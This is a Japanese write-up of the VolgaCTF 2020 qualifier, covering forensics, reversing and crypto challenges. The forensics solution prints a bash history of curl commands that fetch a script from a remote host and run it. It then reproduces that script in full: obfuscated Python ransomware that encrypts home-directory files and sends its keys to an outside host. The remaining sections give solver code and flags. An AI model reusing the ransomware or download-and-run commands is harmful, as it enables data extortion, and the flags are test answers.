VolgaCTF 2020 Qualifier Writeup

この大会は2020/3/28 0:00(JST)~2020/3/30 0:00(JST)に開催されました。
今回もチームで参戦。結果は 710点で504チーム中99位でした。
自分で解けた問題をWriteupとして書いておきます。

Script kiddie (forensics 10)

ovaが添付されている。まずovaを解凍し、さらにvmdkを解凍する。展開された0.imgをFTK Imagerで開く。
/home配下に.encファイルが散らばっている。
/home/test/.bash_historyファイルの中身はこうなっている。

curl http://192.168.1.38/clev.py > .s.py
curl http://192.168.1.38:8080/clev.py > .s.py
curl http://192.168.1.38:8888/clev.py > .s.py
curl http://192.168.1.38:1111/clev.py > .s.py
file .s.py
python3.7 .s.py 
rm .s.py 
exit
ls
cat message 
cd data/
ls
cat secrets.txt.enc 
cd ..
ls
cd wp_configs/
ls
cat text.txt.enc 
cd ..
ls
ls -la
exit

/home/prod/net_dumps/dump.pcapをエクスポートし、見てみると、No.32581のパケットでclev.pyを受信している。clev.pyの中身はこうなっている。

#!/usr/bin/env python3
F=len
W=bytes
L=open
B=True
R=False
o=range
l=exit
import sys
z=sys.platform
import os
J=os.walk
T=os.remove
S=os.environ
import platform
h=platform.system
E=platform.machine
e=platform.platform
X=platform.node
import hashlib
a=hashlib.sha256
import string
C=string.ascii_letters
O=0
N=1
G=2
g=('192.168.1.38',9999)
def x(u):
 y=16-(F(u)%16)
 u+=W([y])*y
 return u
def w(u):
 u=u[:-u[-1]]
 return u
U=['.doc','.txt','.rc','.ini','.dat','.conf','_history']
class V():
 def __init__(Q):
  f=X()+'//'+e()
  d=S['HOME']
  P=d.split('/')[-1]
  v=E()
  D=h()
  if not d:
   import getpass
   P=getpass.getuser()
   d='/home/'+P
  b=':'.join(x for x in[f,v,D,P,d])
  Q.id=a(b.encode('utf8')).hexdigest()
  Q.system=D
  Q.machine=v
  Q.user=P
  Q.home=d
  if "linux" in z:
   Q.platform=O
  elif "darwin" in z:
   Q.platform=N
  elif "win32" in z:
   Q.platform=G
  try:
   f=L('/tmp/.X11.'+Q.id,'r')
   Q.inf=B
  except FileNotFoundError:
   f=L('/tmp/.X11.'+Q.id,'w')
   Q.inf=R
   f.write(Q.id)
  f.close()
 def r(Q,c,fl):
    import os
    J=os.walk
    T=os.remove
    S=os.environ
    try:
         f=L(fl,'rb')
         d=f.read()
         f.close()
         d=x(d)
         q=c.encrypt(d)
         f=L(fl+'.enc','wb')
         f.write(q)
         f.close()
         T(fl)
    except:
        pass
 def t(Q):
  import socket
  import random
  import base64
  M=[]
  for x in o(16):
   p=''.join(random.choices(C,k=16))
   M.append(p)
  u=','.join(k for k in M)
  u=W(u,"utf-8")
  u=base64.b64encode(u)
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect(g)
  s.sendall(W(Q.id,"utf-8"))
  s.recv(1)
  s.sendall(u)
  from Crypto.Cipher import AES
  c=AES.new(p,AES.MODE_ECB)
  for(dirpath,dirnames,filenames)in J(Q.home):
   if '.ssh' not in dirnames:
    for fn in filenames:
     for e in U:
      if fn.endswith(e):
       Q.r(c,dirpath+'/'+fn)
       break
  f=L(Q.home+'/message','wb')
  f.write(W('All your files was encrypted\n. Contact Ywe23z3565yrgbv@protonmail.com for information(mention IP address on theme)\n','utf-8'))
  f.close()
k=V()
if k.platform!=O:
 l(-1)
if k.inf:
 l(0)
k.t()

このコードを見ると、AES暗号化していて、16個の鍵が,区切りでBase64エンコードにしたデータが192.168.1.38:9999に送信されていることがわかる。
Wiresharkで"ip.dst == 192.168.1.38 and tcp.dstport == 9999"でフィルタリングして見てみる。No.32710のパケットに送信データがあった。
/home/test/data/secrets.txt.encをエクスポートして、16個の鍵をブルートフォースで復号する。

from Crypto.Cipher import AES

with open('32710.txt', 'r') as f:
    data = f.read()

keys = data.decode('base64').split(',')

with open('secrets.txt.enc', 'rb') as f:
    enc = f.read()[:48]

for key in keys:
    c = AES.new(key, AES.MODE_ECB)
    msg = c.decrypt(enc)
    if 'flag' in msg:
        print msg
        break
flag{26c08ad080830d6dcd76c15009ab6b03}

Excellent Crackme (reverse 150)

マクロ付きのxlsxが添付されている。マクロは入力フラグのチェックをしてくれる。コードはパスワードがかかっていて見えないので、ツールで取り出す。

$ olevba VolgaCTF_excel_crackme.xlsm 
olevba 0.55.1 on Python 2.7.12 - http://decalage.info/python/oletools
===============================================================================
FILE: VolgaCTF_excel_crackme.xlsm
Type: OpenXML
Error: [Errno 2] No such file or directory: 'xl/vbaProject.bin'.
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub VolgaCTF()
Dim K6Jq6qvy As String
Dim fpqigdwkxf As Long
Dim hiedpuxyvs As Long
Dim CLAO4r As Long
K6Jq6qvy = Range(Chr(76) & Chr(&H31) & Chr(Int("53")))
For vbrexxoiuk = 1 To Len(K6Jq6qvy)
fpqigdwkxf = 0
For hbzugliakq = 1 To Len(K6Jq6qvy)
hiedpuxyvs = CInt(Cells(99 + vbrexxoiuk, 99 + hbzugliakq).Value)
rJ1UnHB = Mid(K6Jq6qvy, hbzugliakq, 1)
fpqigdwkxf = fpqigdwkxf + hiedpuxyvs * Asc(rJ1UnHB)
Next hbzugliakq
CLAO4r = CLng(Cells(99 + vbrexxoiuk, 99 + Len(K6Jq6qvy) + 1).Value)
If (CLAO4r <> fpqigdwkxf) Then
MsgBox mWfDCE1CY0a(Chr(350416 / 2896) & Chr(Int("114")) & Chr(Int("&H72")) & Chr(Int("57")) & Chr(&H56) & Chr(&H75) & "q" & Chr(Int("113")) & Chr(4751 - 4652) & Chr(Int("69")) & Chr(&H54) & Chr(&H67) & Chr(Int("&H59")) & Chr(102) & "V" & Chr(Int("86")))
Exit Sub
End If
Next vbrexxoiuk
MsgBox mWfDCE1CY0a(Chr(Int("109")) & "q" & Chr(Int("49")) & Chr(Int("57")) & Chr(&H56) & Chr(&H65) & Chr(76) & Chr(Int("112")) & Chr(Int("86")) & "F" & Chr(Int("114")) & Chr(-343 + 395) & Chr(&H32) & Chr(72) & Chr(Int("&H31")) & Chr(100))
End Sub
Public Function LxGBqLt(ByVal VUGL As Long, ByVal zNaYtz4UaqnE As Byte) As Long
LxGBqLt = VUGL
If zNaYtz4UaqnE > 0 Then
If VUGL > 0 Then
LxGBqLt = Int(LxGBqLt / (2 ^ zNaYtz4UaqnE))
Else
If zNaYtz4UaqnE > 31 Then
LxGBqLt = 0
Else
LxGBqLt = LxGBqLt And &H7FFFFFFF
LxGBqLt = Int(LxGBqLt / (2 ^ zNaYtz4UaqnE))
LxGBqLt = LxGBqLt Or 2 ^ (31 - zNaYtz4UaqnE)
End If
End If
End If
End Function
Public Function BLHw9RCgXH4P(ByVal VUGL As Long, ByVal zNaYtz4UaqnE As Byte) As Long
BLHw9RCgXH4P = VUGL
If zNaYtz4UaqnE > 0 Then
Dim vbrexxoiuk As Byte
Dim m As Long
For vbrexxoiuk = 1 To zNaYtz4UaqnE
m = BLHw9RCgXH4P And &H40000000
BLHw9RCgXH4P = (BLHw9RCgXH4P And &H3FFFFFFF) * 2
If m <> 0 Then
BLHw9RCgXH4P = BLHw9RCgXH4P Or &H80000000
End If
Next vbrexxoiuk
End If
End Function
Public Function d2GdYER7m(ByVal m2dGOJdUqmej As Long) As Long
Const QXxRd0BK8l As Long = 5570645
Const nfydVLY3E As Long = 52428
Const d1 = 7
Const d2 = 14
Dim t As Long, u, out As Long
t = (m2dGOJdUqmej Xor LxGBqLt(m2dGOJdUqmej, d2)) And nfydVLY3E
u = m2dGOJdUqmej Xor t Xor BLHw9RCgXH4P(t, d2)
t = (u Xor LxGBqLt(u, d1)) And QXxRd0BK8l
out = (u Xor t Xor BLHw9RCgXH4P(t, d1))
d2GdYER7m = out
End Function
Public Function AvOyEfnB2j(ByRef kmYz() As Byte) As String
Dim vbrexxoiuk, fr, NhfEdYPRadl0, raw As Long
Dim a As String, b As String, c As String, d As String
Dim rwHd As String
Dim P2Y3dIxyB() As String
Dim a2, b2 As String
rwHd = ""
For vbrexxoiuk = 0 To (UBound(kmYz) / 4 + 1)
fr = vbrexxoiuk * 4
If fr > UBound(kmYz) Then
Exit For
End If
NhfEdYPRadl0 = 0
NhfEdYPRadl0 = NhfEdYPRadl0 Or BLHw9RCgXH4P(kmYz(fr + 3), 24)
NhfEdYPRadl0 = NhfEdYPRadl0 Or BLHw9RCgXH4P(kmYz(fr + 2), 16)
NhfEdYPRadl0 = NhfEdYPRadl0 Or BLHw9RCgXH4P(kmYz(fr + 1), 8)
NhfEdYPRadl0 = NhfEdYPRadl0 Or kmYz(fr + 0)
raw = d2GdYER7m(NhfEdYPRadl0)
a = Chr(LxGBqLt((raw And &HFF000000), 24))
b = Chr(LxGBqLt((raw And 16711680), 16))
c = Chr(LxGBqLt((raw And 65280), 8))
d = Chr(LxGBqLt((raw And 255), 0))
rwHd = rwHd + d + c + b + a
Next vbrexxoiuk
AvOyEfnB2j = rwHd
End Function
Public Function mWfDCE1CY0a(kmYz As String) As String
Dim Jd1hAR9d() As Byte, dLX7nArx0N() As Byte, arrayByte3(255) As Byte
Dim w3LFFcD1yIJA(63) As Long, arrayLong5(63) As Long
Dim csWl(63) As Long, RFWT526u88I As Long
Dim a8HxGZsyEvL As Integer, iter As Long, Z000a As Long, c0Xzfacy As Long
Dim rwHd As String
kmYz = Replace(kmYz, vbCr, vbNullString)
kmYz = Replace(kmYz, vbLf, vbNullString)
c0Xzfacy = Len(kmYz) Mod 4
If InStrRev(kmYz, "==") Then
a8HxGZsyEvL = 2
ElseIf InStrRev(kmYz, "" + "=") Then
a8HxGZsyEvL = 1
End If
For c0Xzfacy = 0 To 255
Select Case c0Xzfacy
Case 65 To 90
arrayByte3(c0Xzfacy) = c0Xzfacy - 65
Case 97 To 122
arrayByte3(c0Xzfacy) = c0Xzfacy - 71
Case 48 To 57
arrayByte3(c0Xzfacy) = c0Xzfacy + 4
Case 43
arrayByte3(c0Xzfacy) = 62
Case 47
arrayByte3(c0Xzfacy) = 63
End Select
Next c0Xzfacy
For c0Xzfacy = 0 To 63
w3LFFcD1yIJA(c0Xzfacy) = c0Xzfacy * 64
arrayLong5(c0Xzfacy) = c0Xzfacy * 4096
csWl(c0Xzfacy) = c0Xzfacy * 262144
Next c0Xzfacy
dLX7nArx0N = StrConv(kmYz, vbFromUnicode)
ReDim Jd1hAR9d((((UBound(dLX7nArx0N) + 1) \ 4) * 3) - 1)
For iter = 0 To UBound(dLX7nArx0N) Step 4
RFWT526u88I = csWl(arrayByte3(dLX7nArx0N(iter))) + arrayLong5(arrayByte3(dLX7nArx0N(iter + 1))) + w3LFFcD1yIJA(arrayByte3(dLX7nArx0N(iter + 2))) + arrayByte3(dLX7nArx0N(iter + 3))
c0Xzfacy = RFWT526u88I And 16711680
Jd1hAR9d(Z000a) = c0Xzfacy \ 65536
c0Xzfacy = RFWT526u88I And 65280
Jd1hAR9d(Z000a + 1) = c0Xzfacy \ 256
Jd1hAR9d(Z000a + 2) = RFWT526u88I And 255
Z000a = Z000a + 3
Next iter
rwHd = StrConv(Jd1hAR9d, vbUnicode)
If a8HxGZsyEvL Then rwHd = Left$(rwHd, Len(rwHd) - a8HxGZsyEvL)
mWfDCE1CY0a = AvOyEfnB2j(StrConv(rwHd, vbFromUnicode))
mWfDCE1CY0a = H7OcueV(mWfDCE1CY0a, "~")
End Function
Function H7OcueV(XbV06P As String, Oo09VD2mg As String) As String
Dim y15BD As Long
Dim o37xpQJ1uiv70() As String
o37xpQJ1uiv70 = Split(XbV06P, Oo09VD2mg)
y15BD = UBound(o37xpQJ1uiv70, 1)
If y15BD <> 0 Then
XbV06P = Left$(XbV06P, Len(XbV06P) - y15BD)
End If
H7OcueV = XbV06P
End Function
-------------------------------------------------------------------------------
VBA MACRO ЭтаКнига.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Лист1.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Лист2.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Лист3.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

コードの最初の部分のみ整形する。

Private Sub VolgaCTF()
    Dim K6Jq6qvy As String
    Dim fpqigdwkxf As Long
    Dim hiedpuxyvs As Long
    Dim CLAO4r As Long
    K6Jq6qvy = Range(Chr(76) & Chr(&H31) & Chr(Int("53")))★L15→フラグ入力欄
    For vbrexxoiuk = 1 To Len(K6Jq6qvy)★CV100からフラグの長さ分縦横に設定されている値を取る。
        fpqigdwkxf = 0
        For hbzugliakq = 1 To Len(K6Jq6qvy)
            hiedpuxyvs = CInt(Cells(99 + vbrexxoiuk, 99 + hbzugliakq).Value)
            rJ1UnHB = Mid(K6Jq6qvy, hbzugliakq, 1)★フラグを先頭から1文字ずつ切り出す
            fpqigdwkxf = fpqigdwkxf + hiedpuxyvs * Asc(rJ1UnHB)
        Next hbzugliakq
        CLAO4r = CLng(Cells(99 + vbrexxoiuk, 99 + Len(K6Jq6qvy) + 1).Value)
        If (CLAO4r <> fpqigdwkxf) Then★フラグの計算条件が決まる。
            MsgBox mWfDCE1CY0a(Chr(350416 / 2896) & Chr(Int("114")) & Chr(Int("&H72")) & Chr(Int("57")) & Chr(&H56) & Chr(&H75) & "q" & Chr(Int("113")) & Chr(4751 - 4652) & Chr(Int("69")) & Chr(&H54) & Chr(&H67) & Chr(Int("&H59")) & Chr(102) & "V" & Chr(Int("86")))
            Exit Sub
        End If
    Next vbrexxoiuk
    MsgBox mWfDCE1CY0a(Chr(Int("109")) & "q" & Chr(Int("49")) & Chr(Int("57")) & Chr(&H56) & Chr(&H65) & Chr(76) & Chr(Int("112")) & Chr(Int("86")) & "F" & Chr(Int("114")) & Chr(-343 + 395) & Chr(&H32) & Chr(72) & Chr(Int("&H31")) & Chr(100))
End Sub

EXCELの行100~144、列CV~ENの45×45のエリアに係数の表があり、EO列に積の和がある。フラグの各文字に対して、連立方程式が成り立つ。ただ試した結果、一つに定まらないので、フラグの形式を条件に入れる。

from z3 import *

left = [
    [620, 340, 895, -39, 945, 321, 586, 487, -935, -641, -233, 553, 546, 389, 764, -199, 577, -539, 547, -50, 134, -722, 134, 571, 629, -775, 499, -633, -928, -103, 975, 961, -275, 136, 165, 170, 257, 559, -656, -207, 403, -414, 371, 885, -885],
    [-19, 85, -456, 228, -127, -777, 191, 605, 292, -181, -652, 801, -801, -890, -75, 214, 22, -52, -4, 750, 678, -300, 82, 965, -889, -342, 933, 736, -677, 945, -191, 408, -96, 916, -739, 454, -941, 72, 414, -373, 150, -535, 742, -376, -285],
    [598, 357, 236, 8, -163, 787, -996, 26, -685, 257, -620, -959, 340, -530, -621, 634, -701, -112, 737, -781, 66, 517, 566, -915, 907, -818, -487, -82, -115, 313, 414, 836, 774, -776, -551, 920, -548, 898, -198, 244, 822, -741, -185, -589, 202],
    [967, -357, -421, -752, -315, 413, 991, 350, 873, -122, 12, -463, -942, 576, 657, -108, -375, 481, 622, -550, -910, 167, -184, -392, -111, 457, -606, 31, -350, 583, -716, 57, 985, 842, 222, 605, -239, -250, 280, 579, -109, -297, -99, -222, 605],
    [-874, -571, 298, 241, -862, -863, 439, 518, 702, -237, -885, -676, 280, -461, 756, -7, -4, -278, 717, -913, 287, 625, -821, 681, -940, 150, -433, -866, -648, 817, -559, 385, -521, -703, -86, -278, -301, 444, -447, 69, -635, -178, 787, 766, 584],
    [742, 811, 851, 366, -213, 994, 838, -710, 852, 787, -997, 657, -337, 126, 165, 138, 821, 340, 960, -55, -676, -445, -369, -525, 605, 606, 306, 472, -946, -565, -224, 681, -937, 6, 784, 6, 543, -299, -203, -834, 963, -762, -706, 851, -119],
    [-933, 546, -626, -24, 285, 893, 838, 573, 33, -469, -221, -318, -591, -209, 332, 525, -126, -82, -116, 567, 155, 357, -772, -951, -349, -472, -774, -979, 346, 115, -45, -132, -795, -161, 373, 344, -910, 747, 469, 105, 159, 985, -77, -262, -225],
    [-913, -741, -707, 915, 754, -495, -685, -931, 131, 347, 372, -343, -406, 783, -910, -77, 28, 283, 685, -649, -392, 446, -12, 568, -918, -849, 984, 747, -447, -781, 837, -484, 758, -434, 425, -631, -154, 858, -630, 563, 670, -328, -428, 530, -443],
    [-853, -767, -218, -405, 147, -605, 319, -586, 907, 971, 531, 465, -803, 271, 608, 801, 982, -962, 446, -637, -436, 980, 51, 758, -746, 796, 448, 536, -483, -288, -917, 980, -365, -490, -265, -620, -142, -939, 919, 821, -934, -646, 791, -546, 921],
    [-972, 556, 289, 522, 407, 376, -533, -433, 22, -227, -951, 6, -347, 536, 290, 195, -146, 129, -576, -444, -15, -405, -55, -270, 745, -35, -611, 238, -800, -840, 614, 632, 321, -597, -420, -849, -996, -881, -367, -113, 614, -654, 286, 427, 5],
    [641, 496, 18, -939, 480, 453, 224, 721, -826, -148, 76, -491, 270, 684, -265, 574, -548, 507, 644, -792, -39, 237, 185, 893, 488, 423, 837, -184, -415, 28, -172, -86, 574, -284, -702, 396, 949, -372, 951, -221, 286, -336, -793, 417, 645],
    [265, 870, -466, -520, -305, -730, 756, -957, -178, 934, 136, 294, 398, 728, 694, -700, -161, -477, -558, 148, 514, 349, 921, 348, 514, -952, -778, 741, -57, -564, 530, -97, -303, 953, 147, -946, 742, 823, 24, -538, -102, 710, 796, 351, 121],
    [-127, 308, -696, -718, 824, 654, -825, -551, -519, -303, -511, 671, -169, -887, 353, -749, -924, 912, 858, 541, -701, 472, -12, 208, -386, 75, 30, 27, 827, 934, 471, 156, 586, -278, 412, -81, -958, -391, -531, -913, -991, -211, -814, -338, 610],
    [-486, 934, 153, 439, 623, 320, 361, -781, 573, 95, 658, -43, -27, -441, -228, 596, 614, 467, -937, -823, -3, -567, -689, -507, 372, 842, -11, -755, 259, 251, -950, 698, 489, 297, -792, -162, 728, -897, 718, 28, 513, -814, 653, 163, 780],
    [863, 695, -670, -103, 150, -592, -39, 197, -819, -977, -513, -997, -895, 718, 501, 168, -505, 399, -593, 98, 254, 983, -416, 288, 20, -826, -965, 353, -925, 756, 546, -443, 752, 359, 343, 848, -666, -249, -752, -617, 470, 617, 337, -432, 73],
    [-164, -912, 580, -267, -731, 51, 405, 618, 35, -8, 367, -118, -706, -445, 157, -426, -471, -583, -632, 40, 326, 947, -473, -169, 655, -647, 620, 110, -347, -646, 127, -444, -95, -679, 557, -225, -777, -58, -528, -800, 931, -628, 25, -497, 639],
    [900, -14, 496, -465, -910, -724, -460, 158, 452, -2, -547, 682, 588, 968, 915, -304, -146, 743, -632, -511, -488, -840, 436, -175, 391, -638, -185, 231, 39, 328, -306, 772, 382, -96, -349, -663, -123, 343, 64, -581, 173, 323, 14, 396, -736],
    [-511, -304, 309, -854, -522, -679, -851, -27, -545, 526, 636, 712, 138, 275, 498, 304, 335, -731, -746, -688, -27, 855, -504, 89, -370, 424, -329, -578, 565, -676, 358, -305, -752, -733, -948, 545, 397, -772, -552, -985, 502, 859, -781, 217, -139],
    [390, 295, 479, -890, -961, -351, -994, 256, -82, 577, 41, 202, -568, 476, -489, 785, -802, -870, 193, -694, 440, -511, -639, -441, 901, 950, 954, -637, 247, -864, 219, 595, -25, 184, 877, -283, -181, -481, 775, 814, 654, -861, 44, -882, -97],
    [-604, -247, -954, -553, -724, -931, 726, 28, -817, 910, -972, 152, 215, 100, -899, -497, -49, 29, 401, 843, 729, -190, -784, 419, 427, -70, -290, 874, -253, 411, -555, 648, -5, -539, -587, -115, -641, 639, 571, 843, -304, 501, 868, 795, -193],
    [766, 781, -561, -776, 962, -659, 804, 490, -408, 671, -348, -65, -214, -993, 392, 964, -547, 242, 479, -165, -54, -55, 323, -60, -789, -99, -303, 590, -552, -861, 641, 288, -737, -538, 868, 521, 328, -519, -329, 31, 535, -856, 331, -395, -347],
    [769, -981, -650, -516, 573, 208, 478, 522, 707, 574, -418, -899, -218, -597, -573, -936, -95, -497, 221, -94, 208, 602, -599, -559, 881, -743, -85, 951, -303, -733, -1000, 846, -945, 570, -530, 818, -500, 650, -514, 500, -240, 450, 849, 622, -726],
    [775, -229, 661, -772, -806, 168, -993, 82, -547, -572, -387, -398, -624, 703, -848, -606, -725, -316, 675, -69, 855, -115, -236, 86, 615, 423, -806, -834, -236, 300, 83, -560, 623, -816, -449, -830, -474, 692, 878, 146, 235, 165, 157, -290, -161],
    [959, -549, -704, -833, -783, 454, -544, -314, -843, 637, -607, 916, 851, -84, 991, 329, 500, -202, -656, -240, -772, -953, -204, 312, 354, -169, -539, -241, -827, 385, -735, 459, -756, 162, 467, -246, -837, -505, -304, 879, -149, -251, 484, 367, 331],
    [-22, -708, -43, 11, 81, 47, 1000, -534, 462, -835, -637, -282, 179, -908, 839, 17, -391, 331, -952, 122, -405, -33, -151, -916, -889, 712, 243, 527, -588, 421, -222, 427, 693, 137, 460, -604, -757, 611, -846, -539, -893, -659, 494, -653, 235],
    [101, 286, 257, -858, 969, -581, 154, 64, 861, 266, 543, 615, 565, -408, -252, -61, 267, -36, 702, -628, -416, -349, -784, -403, 100, -965, 775, 296, 388, -485, -198, 311, -451, 914, -544, 297, -758, -616, -96, -119, 211, -185, -899, -683, -681],
    [739, 78, -359, -917, -264, 717, -670, -301, -657, 36, -545, -425, -544, 969, -659, 367, 240, -354, 720, 501, -466, -822, 386, -787, 756, -66, -641, -923, -690, 323, 533, -963, -505, 78, 834, -66, -93, 36, -121, 543, -653, 417, -869, 100, -771],
    [-393, -446, -661, 482, -558, -228, 16, 960, 985, 722, 945, -654, 806, 810, 526, -436, -231, -428, -219, -326, 311, -174, -120, -710, 220, 330, 178, -522, 921, 936, 738, -834, 252, 249, -631, 51, -247, -217, -841, 2, 438, 617, 499, 970, -918],
    [547, -383, -612, -998, -251, -387, -912, -661, 934, -14, 697, 833, -4, 667, -454, 110, -818, 549, 81, 466, 737, 520, 762, -861, -936, 993, -525, -900, -618, -62, -564, -674, 882, -587, -404, -413, 376, 596, -451, -275, 466, -688, 940, -565, 191],
    [72, -635, 549, 183, 596, 785, -189, 331, 852, 427, 166, -72, 579, 191, 535, 333, -675, 560, 100, 127, 979, 1000, -917, 765, 793, 871, 32, 738, 923, 832, -408, 225, 457, 747, 799, 251, -57, 91, -150, 343, 428, 858, -607, 686, 979],
    [963, 304, 780, 723, 152, -34, 595, -627, 411, -945, 229, 265, 864, 821, 61, -121, -816, 865, -588, -118, -497, -579, -302, -348, 812, 145, 86, -689, -134, -615, -348, -744, 601, -31, 36, 193, 27, -514, 600, -338, 644, -936, 80, -925, -658],
    [656, 748, -756, 812, 815, -935, 413, -551, 981, 838, 786, -241, 259, 873, -436, -734, 704, -862, 475, -80, -906, -587, -202, -4, -776, 452, 906, 510, 674, -370, -714, 118, 99, -889, 81, 526, -995, 496, 109, 395, 38, -19, 406, -254, -245],
    [16, -750, 871, -89, -544, -305, -269, -758, 226, -399, -129, -258, 465, 168, 822, -554, 193, 962, -998, -288, -537, -550, -862, -1000, -984, -966, 153, -844, -559, -425, -415, 194, 827, 430, 491, -430, 920, -20, 848, -26, -216, -335, -534, -398, 951],
    [511, 391, 944, -920, 163, -189, 58, 116, 417, -538, 360, -60, -749, 537, 899, -469, -644, 89, -861, 619, -833, -61, 244, -159, 393, 82, 853, -599, 51, 593, -633, 222, 997, 32, 728, -395, 952, 354, -301, -617, 42, 310, 649, 580, 823],
    [-641, -173, 563, 813, 70, 154, 704, -476, -971, 494, 532, -4, 247, -559, 390, 823, -937, -401, 592, 688, 556, 363, -921, -609, 444, -802, -424, -612, 495, -573, 247, -190, 432, 504, 849, -996, 341, 800, 396, -437, -428, 884, -695, -149, 154],
    [-699, 63, 42, 691, 862, 373, 647, 776, -590, 817, -455, -107, -882, -992, -483, 828, 260, 254, 277, -433, -508, 702, 997, -287, 640, -995, -654, -618, -26, 474, -979, 617, -4, -267, -229, -713, -285, -124, -64, -496, -567, 128, -526, 516, 21],
    [-8, -507, 122, 708, -86, 285, 579, -647, 435, -150, -1000, -765, -154, 938, 270, 330, 350, 569, 447, -912, 712, 74, 667, 725, -585, -381, -447, -7, 326, -758, 123, 470, 839, 379, -809, 334, 539, -103, -723, 651, 359, 628, -986, 150, 231],
    [398, 50, 511, -754, -444, 457, 139, 312, -989, 639, 451, -697, 758, -265, 653, 725, 911, 528, -975, -138, -766, 846, 701, -558, -825, -523, -54, 788, 393, 568, 947, -529, -210, 533, -918, -525, -955, -540, 713, -154, 647, -982, -543, -149, 415],
    [864, 976, 635, 543, -459, 252, -626, -877, -100, -630, -64, 183, 990, -197, 33, 207, 474, -814, 880, -824, -469, 605, -652, 101, 268, 370, 627, -959, -383, 306, -628, -349, -250, 524, -630, 200, 979, 712, -313, -891, -835, -94, -668, 982, -373],
    [784, 408, -868, -457, 433, -231, 621, 859, -359, -821, -217, -306, 675, -33, 260, 248, -442, 179, -469, -794, 860, 242, -53, 650, 966, -886, 254, -546, -130, 945, -365, -797, -550, 225, 233, 591, 248, -548, 185, 328, 755, -719, -845, 550, -811],
    [-822, 364, 723, -221, 585, -883, 47, -455, 565, -156, 369, -422, -32, -381, -420, 826, 84, 204, -470, 366, -204, 570, 428, 195, -759, -69, -250, 508, -35, -720, -352, -525, -426, -586, 854, -471, 900, -529, -917, 143, -352, -46, -52, -889, 560],
    [269, 355, 333, 64, 753, 420, 91, -566, -795, -134, -165, 449, -79, 939, -539, -457, -781, -198, -905, 467, -524, 455, -628, -562, -345, -872, 217, 808, 341, -801, 128, -797, -736, 592, -43, 197, -657, -316, -809, -548, -797, -280, 733, 388, 219],
    [-295, 180, 330, 37, -176, -387, -833, 611, -663, -131, 513, 733, 994, -673, -647, -935, -65, -811, 211, -331, -899, -741, -206, 37, -863, 227, 162, -374, 801, 448, 370, 887, -136, -775, 636, 794, 526, 590, 991, 880, -687, -416, 436, -234, -508],
    [-962, 600, 191, -32, 859, -106, 544, 698, -198, 170, 898, 591, -239, -125, -465, -80, 545, -292, -14, -775, -841, 775, 553, 720, -411, -753, 347, 197, -922, -481, -183, -564, 913, -142, -220, -889, -302, 567, 954, 193, -853, 637, -13, -143, 356],
    [907, -6, -108, 586, -286, -420, -397, 545, -942, 378, -781, 173, -749, -926, -201, 915, 75, -51, -361, 511, 441, -106, -823, 271, 540, -42, 400, 860, 506, -632, 750, 575, -434, 64, -471, 133, -299, -269, 810, -55, -200, -671, 837, -97, 314],
]

right = [490493, -7845, -54593, 210672, -407144, 533417, -320176, -83622,
    147210, -344141, 507384, 429295, -272727, 309196, -247072, -382979,
    -29820, -665472, -51995, -224011, -16181, -91699, -572802, -440533,
    -442324, -29239, -585661, 106807, -412046, 1312536, 44628, 232490,
    -383077, 436266, 107084, -117467, 309109, 71961, 21720, 49050, -84381,
    -302598, -52964, 209341, 102350]

val = [Int('val[%d]' % i) for i in range(45)]
s = Solver()

for j in range(45):
    formula = 0
    for i in range(45):
        formula += val[i] * left[j][i]
    s.add(formula == right[j])

s.add(val[0] == ord('V'))
s.add(val[1] == ord('o'))
s.add(val[2] == ord('l'))

r = s.check()
if r == sat:
    m = s.model()
    flag = ''
    for i in range(45):
        flag += chr(m[val[i]].as_long())
    print flag
VolgaCTF{7h3_M057_M47h_cr4ckM3_y0u_3V3R_533N}

Alternative (crypto 50)

問題タイトルとアクセスしたURLの証明書の無効状態からも証明書のサブジェクト代替名(Subject Alternative Name)がフラグに関係あるはず。
f:id:satou-y:20200401082609p:plain

DNS Name=www.volgactf.ru
DNS Name=s0.many.fields.in.certificate.com

このうち下の方をフラグとして答える。

VolgaCTF{s0.many.fields.in.certificate.com}

Noname (crypto 100)

暗号の概要は以下の通り。

・time.time()を元に鍵を生成
・通常のpaddingをしてAES-ECB暗号してBase64エンコードしたものを出力

時間を元に生成した鍵をブルートフォースして、復号する。

from Crypto.Cipher import AES
from hashlib import md5

def unpad(s):
    return s[:-ord(s[-1])]

with open('encrypted', 'rb') as f:
    enc = f.read().decode('base64')

for time in range(1585000000, 1585349900):
    key = md5(str(time)).digest()
    aes = AES.new(key, AES.MODE_ECB)
    flag = unpad(aes.decrypt(enc))
    if 'VolgaCTF{' in flag:
        print flag
        break
VolgaCTF{5om3tim3s_8rutf0rc3_i5_th3_345iest_w4y}

Guess (crypto 200)

$ nc guess.q.2020.volgactf.ru 7777
(y, p) = (1807317727918864369732625583663669706461329703111527835771441107314113830438784149186857981070712373854605743326483573097491926927094330221097090554406218, 9018430840269014580701671762935979946715986441060384256324157610729893886183021552065818095425954735231726025085735207076693368984504743547430796466642047)
